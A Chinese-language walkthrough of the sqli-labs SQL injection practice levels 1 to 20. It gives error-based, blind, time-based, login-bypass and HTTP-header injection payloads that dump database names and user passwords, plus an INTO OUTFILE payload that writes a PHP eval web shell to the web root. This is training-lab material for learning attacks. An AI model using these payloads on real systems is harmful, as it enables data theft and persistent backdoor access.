Less-01
单引号报错。
拼接'and 1=1--+
正常,=2
异常:
这里直接使用update函数报错注入。
' and updatexml(1,concat(0x7e,database()),1)--+
,直接爆出数据库名。
爆表:' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1)--+
xpath每次只能输出一条,所以用到limit
限制。
爆column:' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),1)--+
爆值:' and updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)--+
Less-02
单引号报错,and 1=1
正常,=2
异常,但是这关没有了单引号,数字型注入。
同样,updataxml
注入。
Less-03
单引号报错,根据错误信息,进行闭合。
' or '1'='1
正常。
但是有个问题,变成2也正常,说明还没有完全闭合。再看报错信息,传入的参数被放到单引号加括号中。
加个括号看看。
') and 1=1--+
正常了,改成2,显示异常。
其他一样,仍然报错注入。
Less-04
根据报错信息,参数放在了双引号加圆括号中,
上一关是单引号,这一关只需要变成双引号就可以,其他保持不变。
") and updatexml(1,concat(0x7e,database()),1)--+
Less-05
这关直接用floor报错注入。
所用的Payload:-1’ union select 1,count(*),concat(database(),floor(rand(0)*2 ))x from information_schema.tables group by x--+
爆表,把database()替换成查询语句即可:-1’ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2 ))x from information_schema.tables group by x--+
之后方法就一样的了。
Less-06
只需要把上一关的单引号替换为双引号即可达到闭合效果。
Less-07
提到了 into Outfile,那就用喽。
先在前面关卡找到路径:
当然,本地搭建的,都知道肯定在这个路径了。不过流程还是要走的嘛。
拿到路径之后,先找闭合,这里的错误信息没有了具体,只提示有错误,引号,括号都试试,发现是'))--+
闭合,现在可以构造Payload了。
1')) union select null,0x3c3f70687020406576616c28245f504f53545b2761275d293b203f3e,null into outfile 'D:\phpstudy\PhpStudy2018\PHPTutorial\WWW\shell.php'--+
执行结束会报错,但是路径下已经出现了一个shell.php文件。
之后蚁剑连接就可以。
Less-08
单引号报错,构造' and 1=1--+
正常,2异常,
union select
是没有结果的,用到判断。
' and length(database())=8--+
判断数据库长度。
如果语句正确返回正常,如果错误例如替换>8,则返回异常:
然后爆库:' and left( select database(),1)='s'--+
同样,正确正常,不符合异常。
但是这里遇到个难题,第一个字符找出来之后,第二个字符总返回异常,换了个语句,用ascii
,当然,也可以用if
.
就变成了' and (select ascii(substr(database(),1,1))=115)--+
然后就可以通过改变位数和ascii
值来猜测字符,比如第二个字符e
' and (select ascii(substr(database(),2,2))=101)--+
配合<、>缩小猜测范围,和那个聚会时候玩的猜数游戏很像。
之后的表,字段都可以用这种方法,缺点就是慢,费时间,当然,神器SQLMap从来不过时。
' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)--+
上图就是纯猜数猜出来的,68对应字母D。
Less-09
这一关无论输入什么都没有错误信息,看到标题的Time based,是不是时间注入,Burp抓包看下。
注意右下角的时间,确实延迟了,证明存在延迟注入。
然后就和上一关一样可以猜测,但是缺点同样是消耗时间,可以SQLMap跑。
' and if(length(database())=8,sleep(5),1)
之后的Payload可以参考上一关。
Less-10
只需要把上一关的单引号闭合替换为双引号闭合即可,其他的流程都一样。
Less-11
这关开始就变成了登录框。
最简单的注入,万能登录:admin' or '1'='1
,密码随便填。
抓包看到传入的参数带有uname
、passwd
猜测注入点在uname
处,加个单引号。
报错了。
admin' and 1=1--+
,正常
之后Payload和第一关一样,updatexml
报错注入。
Less-12
同样抓包,是双引号加圆括号闭合,其他和上一关一样。
万能登录也可以:admin"#
Less-13
抓包分析,通过')
闭合,构造admin') and updatexml(1,concat(0x7e,database()),1) and ('
即可。
之后流程参考前面。
Less-14
单引号没有返回错误信息,双引号返回。
根据报错信息,传入的参数放在了双引号之中。
构造:'admin" and updatexml(1,concat(0x7e,database()),1) and "
Less-15
admin' and 1=1--+
正常,2错误,但是之后无论拼接什么语句都没有回显,用延迟。
可以注入,Payload参考Less-08。
Less-16
同样延迟注入,找到闭合点")
即可。
Less-17
抓包,这次updatexml
在uname
处不管用了,看一下源码:
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
对传入的uname
进行了处理,但是下边的passwd
什么都没有,注入点就是它了。
Less-18
这关不一样了,标题是Header
注入,抓包看看。
头就是User-Agent
,单引号报错,但是这里我遇到个问题,找到了注入点,传入了语句,但是一直没有回显。
没太搞懂为什么,找了一下网上的Payload,也没有回显。以后再研究。
Less-19
回显变成了refer
,在这里注入。
好嘛,也是这个问题,证明是我自己的原因。
但是,emmmmm,把别人的Payload拷过来也一样没有回显啊,为啥子捏?
Less-20
看到了Cookie
,注入点应该找到了。
单引号报错。
' and 1=1--+
正常,2异常。
字段长为3都知道了,判断回显点。
之后就正常的爆库了。不过这里输出的信息一只有一位。
在后面加个limit
限制就好了。
我继续去研究中间那两道头注入了。